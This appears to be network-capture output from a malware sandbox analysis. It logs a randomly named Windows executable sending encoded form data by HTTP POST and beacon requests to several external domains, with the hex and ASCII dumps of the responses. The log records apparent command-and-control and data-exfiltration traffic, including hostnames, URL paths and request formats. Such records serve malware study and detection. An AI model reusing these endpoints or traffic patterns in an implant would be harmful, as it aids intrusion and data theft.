Nov 5, 2024 15:37:06.821808100 CET	717	OUT	POST /7sxb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.hyman.life Origin: http://www.hyman.life Referer: http://www.hyman.life/7sxb/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 50 51 4a 43 2f 74 39 32 63 69 56 33 31 52 72 74 7a 78 6e 43 4f 65 63 49 41 61 63 48 77 6c 62 65 48 74 67 34 57 56 49 59 64 56 63 46 54 47 77 43 6b 49 79 75 64 77 62 6c 6f 66 79 59 75 77 51 6b 46 6c 50 73 6e 4e 6b 62 57 46 37 31 6a 61 74 78 45 32 4e 49 42 57 6f 75 6e 6e 64 7a 41 55 44 70 47 44 33 30 78 30 7a 44 43 42 6f 43 4b 4d 43 6d 75 71 34 4b 59 34 75 33 32 53 2f 42 62 4c 2b 49 59 6b 42 4a 65 38 57 42 66 66 63 71 66 64 2b 79 6b 78 58 52 56 77 56 45 74 4d 51 6b 59 31 4e 72 59 2f 38 58 6e 6a 42 6e 39 78 53 64 51 4e 64 61 70 6a 46 56 73 74 66 55 50 64 6d 64 76 64 7a 6c 51 3d 3d Data Ascii: Q2_4=gPQJC/t92ciV31RrtzxnCOecIAacHwlbeHtg4WVIYdVcFTGwCkIyudwblofyYuwQkFlPsnNkbWF71jatxE2NIBWounndzAUDpGD30x0zDCBoCKMCmuq4KY4u32S/BbL+IYkBJe8WBffcqfd+ykxXRVwVEtMQkY1NrY/8XnjBn9xSdQNdapjFVstfUPdmdvdzlQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49787	15.197.148.33	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:09.471915960 CET	737	OUT	POST /7sxb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.hyman.life Origin: http://www.hyman.life Referer: http://www.hyman.life/7sxb/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 50 51 4a 43 2f 74 39 32 63 69 56 78 56 42 72 2b 44 4e 6e 41 75 65 66 55 51 61 63 65 67 6b 7a 65 47 52 67 34 55 35 59 5a 75 68 63 45 79 32 77 44 6c 49 79 76 64 77 62 77 59 66 33 48 65 77 5a 6b 46 5a 68 73 6d 78 6b 62 57 52 37 31 6d 2b 74 78 79 2b 53 4a 52 57 71 6e 48 6e 44 39 67 55 44 70 47 44 33 30 78 67 5a 44 43 5a 6f 42 35 6b 43 33 37 57 2f 4a 59 34 74 30 32 53 2f 46 62 4c 69 49 59 6b 6a 4a 61 38 77 42 5a 54 63 71 61 5a 2b 7a 31 78 55 62 56 77 54 41 74 4e 42 67 49 6f 68 71 72 6e 72 64 6b 66 71 70 39 39 39 59 47 63 48 48 62 58 68 57 2f 78 74 51 2f 6b 4f 66 74 63 6f 34 61 55 54 78 76 71 31 73 5a 74 57 65 76 58 2b 51 52 70 57 45 37 49 3d Data Ascii: Q2_4=gPQJC/t92ciVxVBr+DNnAuefUQacegkzeGRg4U5YZuhcEy2wDlIyvdwbwYf3HewZkFZhsmxkbWR71m+txy+SJRWqnHnD9gUDpGD30xgZDCZoB5kC37W/JY4t02S/FbLiIYkjJa8wBZTcqaZ+z1xUbVwTAtNBgIohqrnrdkfqp999YGcHHbXhW/xtQ/kOftco4aUTxvq1sZtWevX+QRpWE7I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49788	15.197.148.33	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:12.112953901 CET	2578	OUT	POST /7sxb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.hyman.life Origin: http://www.hyman.life Referer: http://www.hyman.life/7sxb/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 50 51 4a 43 2f 74 39 32 63 69 56 78 56 42 72 2b 44 4e 6e 41 75 65 66 55 51 61 63 65 67 6b 7a 65 47 52 67 34 55 35 59 5a 76 5a 63 46 41 2b 77 44 47 77 79 73 64 77 62 78 59 66 32 48 65 78 4c 6b 42 4e 6c 73 6d 39 53 62 56 70 37 30 45 32 74 7a 41 57 53 47 52 57 71 6c 48 6e 65 7a 41 55 57 70 47 54 72 30 78 77 5a 44 43 5a 6f 42 2f 59 43 33 75 71 2f 46 34 34 75 33 32 53 37 42 62 4c 65 49 59 38 4a 4a 61 6f 47 42 70 7a 63 71 36 70 2b 77 44 74 55 58 56 77 52 4e 4e 4e 5a 67 49 6b 2b 71 72 72 4e 64 6c 72 4d 70 38 6c 39 55 6a 42 63 59 59 37 2f 4e 76 38 36 62 75 59 53 5a 37 4d 45 6e 4e 64 6d 30 64 2b 4b 6c 4d 5a 78 53 4d 76 65 4d 6b 38 63 5a 72 34 4d 34 34 69 69 2b 52 62 52 78 6d 64 67 79 79 53 49 33 42 38 2f 63 58 68 51 67 42 72 39 4c 2f 71 41 36 39 7a 53 63 31 49 71 4a 77 55 4c 2b 78 5a 49 55 31 47 74 2f 2f 53 46 42 6d 4a 63 62 30 4c 56 74 6f 52 41 79 30 30 2f 62 56 64 6f 64 50 56 4c 66 6f 4c 44 42 71 73 64 72 74 63 48 52 4e 6c 33 47 52 41 35 55 52 79 31 2f 58 41 55 49 41 44 30 2f 70 37 52 53 [TRUNCATED] Data Ascii: Q2_4=gPQJC/t92ciVxVBr+DNnAuefUQacegkzeGRg4U5YZvZcFA+wDGwysdwbxYf2HexLkBNlsm9SbVp70E2tzAWSGRWqlHnezAUWpGTr0xwZDCZoB/YC3uq/F44u32S7BbLeIY8JJaoGBpzcq6p+wDtUXVwRNNNZgIk+qrrNdlrMp8l9UjBcYY7/Nv86buYSZ7MEnNdm0d+KlMZxSMveMk8cZr4M44ii+RbRxmdgyySI3B8/cXhQgBr9L/qA69zSc1IqJwUL+xZIU1Gt//SFBmJcb0LVtoRAy00/bVdodPVLfoLDBqsdrtcHRNl3GRA5URy1/XAUIAD0/p7RS90+mPKB15UFUC8XxPu3khekOeTE41XE+yT/gJQrNXash1NV3tppS+IMAwADpgyyz9DWWp65GYL66a//UgTeV8vZDk2eCss9lMlTFSGVnsTsDUdfKsZTOT85JetBjMMhQcPFE7e5apdwaN2CHaOHi8/PKgpw7cwZpd5hZVV6cIJ4nCLWcywA5mdPtu5ZK6BmLTxO0k1K2GauiMePrBuWeZSsqG1XrMHw3L3JOZO+jd7fhdccSVa4y0a7ZmDW+BwgodD2oWzRt4s1MASd0O/BDkvu+JQEzeh7FxxY6Pu3DU0NIZm6OvAHKMtJs136ytFH5XVFRt2XUPCkRdbqKfByUk7I7BW0LVPORZi7CCI+8VoWr33BdEF+Xg38yO+LQdEAvPesXikDWsZZIRNVrmrMBwKNArbMc05SpzIl10GlqpUqkyJ4n+tsl8DtTpLPxyboIHT3SZFVxLZRRa9D18m15gYsPlB3HEJepL0P/yfQgFhqGhs4xfkfgYD2171EUSc2PKi/EAkXhaKsat9dtfWoYL1QfuvknQ4T7J/AZHyM2JjuJbz9aUeWjcFkaSXfUpriQDlZvJu0pnxoN34Nv6+do3JoTn+G04nGidvTdwYyAtUXY9EWkZjL9vqwKcs00K0jIjbdvrbVHlhqn/QwqIbeUozSVM1LgvzO/ay [TRUNCATED]
Nov 5, 2024 15:37:12.113018990 CET	5308	OUT	Data Raw: 78 43 52 6a 65 4d 6d 35 4b 48 50 4d 4d 6a 33 48 38 71 5a 32 39 32 53 41 38 45 39 62 68 34 34 72 6e 46 69 45 6f 62 6a 66 36 6c 73 2b 6f 6a 6c 70 49 37 37 79 45 33 55 47 73 4d 46 64 31 6d 30 75 34 2f 68 59 65 42 72 5a 55 63 6f 50 5a 65 71 74 63 76 Data Ascii: xCRjeMm5KHPMMj3H8qZ292SA8E9bh44rnFiEobjf6ls+ojlpI77yE3UGsMFd1m0u4/hYeBrZUcoPZeqtcv95aX4J945KmQG8SfFlzNdbVvdbo90SokL6bet6msRoINXTf9KC2TYm0qevXGtQ2CQRJiVyGRcyaQcVQczxhz/kvfFQc+vaEbaxMYKms4p3MRQ4LKxIF9X0W48h20tw4WqMeCcG+vy+e+m9HU7GC+DxLXDjESpx5tg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49789	15.197.148.33	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:14.749298096 CET	454	OUT	GET /7sxb/?Q2_4=tN4pBPdIy5yR3QdP6gZ8D8aFehGETDFYb1Vi1ndOQOBeKVKVLkgKnsMB8I7daeFpk1t8wQFPQHt0hTDP8VSpMA6XkXbq7RBf6U2uwyI0bQpdefBdwJy0dog=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.hyman.life User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:37:14.859739065 CET	389	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:37:14 GMT Content-Type: text/html Content-Length: 249 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 32 5f 34 3d 74 4e 34 70 42 50 64 49 79 35 79 52 33 51 64 50 36 67 5a 38 44 38 61 46 65 68 47 45 54 44 46 59 62 31 56 69 31 6e 64 4f 51 4f 42 65 4b 56 4b 56 4c 6b 67 4b 6e 73 4d 42 38 49 37 64 61 65 46 70 6b 31 74 38 77 51 46 50 51 48 74 30 68 54 44 50 38 56 53 70 4d 41 36 58 6b 58 62 71 37 52 42 66 36 55 32 75 77 79 49 30 62 51 70 64 65 66 42 64 77 4a 79 30 64 6f 67 3d 26 75 58 50 3d 31 48 58 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Q2_4=tN4pBPdIy5yR3QdP6gZ8D8aFehGETDFYb1Vi1ndOQOBeKVKVLkgKnsMB8I7daeFpk1t8wQFPQHt0hTDP8VSpMA6XkXbq7RBf6U2uwyI0bQpdefBdwJy0dog=&uXP=1HX8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49790	104.21.94.87	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:23.054768085 CET	457	OUT	GET /vq3l/?Q2_4=WKR5ld2WiQxHxPDU6pm8hrTzAxfoYD+zNd+jQFHpl4y5z9MlTNWt1pAD28TX6W++2340V0NEzWPPUH5FlugQl+5D7H7BO9/OK4RESnHOQd/yty8pNcZLL2g=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.nagasl89.baby User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:37:23.683861017 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:37:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gW7nlen7HPIvQqGTE2%2FHmR2ObGDhzVOqzSU6bAtsN1OvXDoX03OtbTVuNnZ2NnUICTJZGUje1ZZujj2d%2FARVz4jN5TFWiS2dTcuIgCGnBPhy7jOvksIGGVpcc3sIzj%2BCP4e%2Bjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddd94db683442e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103319&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=457&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 30 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 2d 49 44 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 42 75 6b 61 6e 57 6f 72 64 70 72 65 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 [TRUNCATED] Data Ascii: 2099<!DOCTYPE html><html lang="id-ID"><head> <meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" /><meta name="generator" content="BukanWordpress" /><link rel="icon" type="image/x-icon" href="https://www.nagasl89.baby/favicon.ico" /><link rel="sitemap" href="https://www.nagasl89.baby/sitemap.xml" /><link rel="alternate" type="application/rss+xml" title="RTP SLOTO89 F
Nov 5, 2024 15:37:23.683919907 CET	1289	IN	Data Raw: 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 66 65 65 64 2f 72 73 73 22 20 2f 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 61 6c 61 6d 61 6e 20 69 6e 69 20 74 69 64 61 6b 20 61 64 Data Ascii: eed" href="https://www.nagasl89.baby/feed/rss" /> <title>Halaman ini tidak ada! - RTP SLOTO89</title> <meta name="description" content="404 Not Found"/> <meta name="keywords" content="SLOTO89, SLOTO89, RTP SLOTO 89, slot gacor, l
Nov 5, 2024 15:37:23.683989048 CET	1289	IN	Data Raw: 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 74 68 65 6d 65 73 2f 72 74 70 2f 63 73 73 2f 73 74 79 6c 65 73 6c 6f 74 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 Data Ascii: ref="https://www.nagasl89.baby/themes/rtp/css/styleslot.css" type="text/css" media="all"> <link rel="stylesheet" id="twentyfifteen-style-css" href="https://www.nagasl89.baby/themes/rtp/css/custom.css" type="text/css" media="all"> <scri
Nov 5, 2024 15:37:23.684032917 CET	1289	IN	Data Raw: 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c Data Ascii: g:type" content="article"> <meta property="og:url" content="https://www.nagasl89.baby/"> <meta property="og:title" content=""> <meta property="og:description" content="404 Not Found"> <meta property="og:site_name" content="Hala
Nov 5, 2024 15:37:23.684075117 CET	1289	IN	Data Raw: 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2e 63 6c 6f 75 64 69 6e 61 72 79 2e 63 6f 6d 2f 70 72 61 63 74 69 63 61 6c 64 65 76 2f 69 6d 61 67 65 2f 66 65 74 63 68 2f 73 2d 2d 67 44 Data Ascii: "apple-touch-icon" href="https://res.cloudinary.com/practicaldev/image/fetch/s--gDM0_LTS--/c_limit,f_png,fl_progressive,q_80,w_180/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png"--> ...link rel="apple-tou
Nov 5, 2024 15:37:23.684114933 CET	1289	IN	Data Raw: 6d 69 74 2c 66 5f 70 6e 67 2c 66 6c 5f 70 72 6f 67 72 65 73 73 69 76 65 2c 71 5f 38 30 2c 77 5f 31 32 38 2f 68 74 74 70 73 3a 2f 2f 70 72 61 63 74 69 63 61 6c 64 65 76 2d 68 65 72 6f 6b 75 61 70 70 2d 63 6f 6d 2e 66 72 65 65 74 6c 73 2e 66 61 73 Data Ascii: mit,f_png,fl_progressive,q_80,w_128/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png" rel="icon" sizes="128x128"--> <meta name="apple-mobile-web-app-title" content=""> <meta name="application-name" conte
Nov 5, 2024 15:37:23.684155941 CET	1289	IN	Data Raw: 20 7b 74 68 69 73 2e 76 61 6c 75 65 20 3d 20 27 27 3b 7d 22 20 6f 6e 62 6c 75 72 3d 22 69 66 20 28 74 68 69 73 2e 76 61 6c 75 65 20 3d 3d 20 27 27 29 20 7b 74 68 69 73 2e 76 61 6c 75 65 20 3d 20 27 43 61 72 69 27 3b 7d 22 3e 0d 0a 20 20 20 20 20 Data Ascii: {this.value = '';}" onblur="if (this.value == '') {this.value = 'Cari';}"> <input type="submit" value="Cari" class="search-button"> </form> </div></article> <footer id="colophon" cla
Nov 5, 2024 15:37:23.684184074 CET	121	IN	Data Raw: 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 6a 73 2f 67 6c 6f 62 61 6c 2e 6a Data Ascii: ipt> <script type="text/javascript" src="https://www.nagasl89.baby/js/global.js"></script> </body></html>
Nov 5, 2024 15:37:23.684211969 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49791	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:28.821978092 CET	753	OUT	POST /ytnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/ytnk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6d 76 41 5a 74 6d 45 39 44 38 4a 47 6f 46 73 2b 2f 75 33 75 65 36 67 48 58 76 32 45 4b 61 55 6f 62 31 47 4b 74 39 47 6a 62 6f 68 4a 77 64 4e 36 49 6f 7a 66 6a 55 39 74 39 46 34 49 6a 6d 35 48 41 65 6e 37 41 66 77 36 53 6d 72 42 53 77 53 45 37 41 67 4f 6f 71 71 6d 78 76 33 42 4b 76 74 62 53 36 6e 31 63 67 33 52 5a 71 58 38 37 31 79 2b 35 50 6a 43 35 4a 49 31 66 31 4e 74 73 62 66 54 77 77 2b 37 58 4f 4c 37 47 43 70 74 67 48 6a 58 67 51 4b 78 45 39 70 53 56 73 46 63 51 2b 30 73 43 41 44 34 4c 66 54 32 46 6d 41 4e 48 56 52 71 67 76 78 33 51 51 3d 3d Data Ascii: Q2_4=jHoh0b4NWKuCmvAZtmE9D8JGoFs+/u3ue6gHXv2EKaUob1GKt9GjbohJwdN6IozfjU9t9F4Ijm5HAen7Afw6SmrBSwSE7AgOoqqmxv3BKvtbS6n1cg3RZqX871y+5PjC5JI1f1NtsbfTww+7XOL7GCptgHjXgQKxE9pSVsFcQ+0sCAD4LfT2FmANHVRqgvx3QQ==
Nov 5, 2024 15:37:29.149008989 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:37:28 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24178 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 [TRUNCATED] Data Ascii: i m4+QY$%6EJM+Ct#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!<~kY=}x3oisx?7w<E- /}wy~z2;%s7A8U0U80Bg?~/1)Zp.%z^QB\|)A)[^/Xc/p>0v7"X>fq3.wFgg8 ql%de>#Y3O'&YQ}x3T7( c18F6`xuRtJ)Ee+W;y~>IFh'KPG/6k<E<pE>%)&jK6b\E-p*4R\/ y$vQjQ]E,F!]b@DvQ(y99yRhI&bn&D7UOp0%S2`RBn/Ej5\|sBx
Nov 5, 2024 15:37:29.149110079 CET	1289	IN	Data Raw: 55 54 d4 55 14 f4 b5 4f 4b 2f f0 16 e7 e1 1c 9b cf 7b 96 ae 6b a2 ae 19 a2 a5 ab f0 2d 08 cf c2 c1 61 de 58 3f 99 d9 67 de 67 93 a7 9e b3 dc a0 90 cb 05 9f 74 63 4f c6 ab 45 10 da 6e fc 64 2c 8b b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 Data Ascii: UTUOK/{k-aX?ggtcOEnd,d,ON.i<S';<7l?ksO# esXsr&1XmnL7Y}+e~k\?@/A4;-Tyel%dm;#8byE
Nov 5, 2024 15:37:29.149153948 CET	1289	IN	Data Raw: dc 07 20 24 70 32 c0 67 58 86 8b c1 c8 16 a6 21 8e 3d eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 ad 03 1a 60 18 7d 64 83 9a e7 ed 63 78 13 fe dc fb e2 78 79 60 8f 3c 90 08 16 90 cb 69 89 df 99 e1 a8 51 cf 3a 25 a8 ac a5 10 47 ce 31 08 54 00 21 Data Ascii: $p2gX!=){?f`}dcxxy`<iQ:%G1T!~Sxs\hXMba{.Q\|s"GV\|1)oCw??o2FY\|v./`gG <[fjL^,%>c9gi
Nov 5, 2024 15:37:29.149194956 CET	1289	IN	Data Raw: 23 81 23 fb c2 e3 8a 9e b8 5a 8f e8 14 b9 51 b8 e0 a7 3e 8e b7 1f 4e 82 55 74 20 e9 8b ab 21 17 db e0 73 a1 2f 2c 99 e2 db c3 a3 cd 20 cf 48 f6 40 4a 00 7c bd a5 d9 f8 9f 2a 1e b1 4a a0 c6 7e 54 ae 10 75 71 75 54 16 c3 51 49 ca 49 5f 2c 8b 00 f7 Data Ascii: ##ZQ>NUt !s/, H@J\|J~TuquTQII_,<<)'HQh!b^!$ZzG5g#!XF<Opqs8lxD<oC%sW\BOiM1V1\|kh IumqS}5Azf.=^kx/
Nov 5, 2024 15:37:29.149236917 CET	1289	IN	Data Raw: b4 f9 f2 cf fb 1c 79 f0 c7 f7 c1 a2 b0 c5 e2 0d e2 c1 f5 c0 6c 03 53 4b 45 66 00 2d 23 6a c5 26 5d 9c 49 cb f2 81 5a a7 81 66 52 04 01 ac cf 48 a6 da 9b da ab 80 59 99 b6 29 5c 1c b9 6d 2c b8 0a 5f 9e 31 6f a6 75 d4 86 68 dd bc 77 4e f6 66 b3 7f Data Ascii: ylSKEf-#j&]IZfRHY)\m,_1ouhwNf}TKTLiBe2a:Zn9{X1TkfZ-i,4'^YgzCn2B\|p NK+._6Tj`}EH`C)#%nfjrT; \%))T
Nov 5, 2024 15:37:29.149277925 CET	1289	IN	Data Raw: 17 5b 1a 73 3d 12 17 40 14 0d 67 62 1f 35 7f e6 f9 e8 6c 72 28 8e 24 59 1d 49 a6 de 06 85 0e 07 74 e8 92 88 e8 f4 89 2d ad 05 cc 10 8b c6 48 d2 d7 c1 cb 84 58 b3 4d 63 2d 60 8a d8 02 dc 8a 56 04 4f bc 0e 36 1a 48 8b ac 70 8c 8a 41 24 2b 03 ae e7 Data Ascii: [s=@gb5lr($YIt-HXMc-`VO6HpA$+.<a;mdy$dYIh$k,%czH.M8mqz0l'np;ogbt:UZ3-I<9)5<\|U^Q7\0%i6Vq
